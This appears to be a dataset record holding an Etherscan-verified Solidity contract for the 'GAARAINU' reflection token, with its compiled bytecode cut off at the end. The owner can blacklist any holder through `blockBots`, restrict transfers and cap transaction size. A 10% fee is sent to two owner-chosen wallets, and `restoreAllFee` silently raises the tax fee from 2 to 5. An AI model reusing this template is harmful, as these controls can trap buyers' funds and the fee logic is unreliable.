{"success": true, "error": null, "results": {}}
| 9,300 |
0xDc63c5D7924B752f2d42Ac3DA604c8be5c951C93
|
/**
*Submitted for verification at Etherscan.io on 2021-10-17
*/
//Telegram > https://t.me/GaaraInu
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Gaarainu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "GAARAINU";
string private constant _symbol = "GAARA";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280600881526020017f4741415241494e55000000000000000000000000000000000000000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f4741415241000000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b90508083825260208201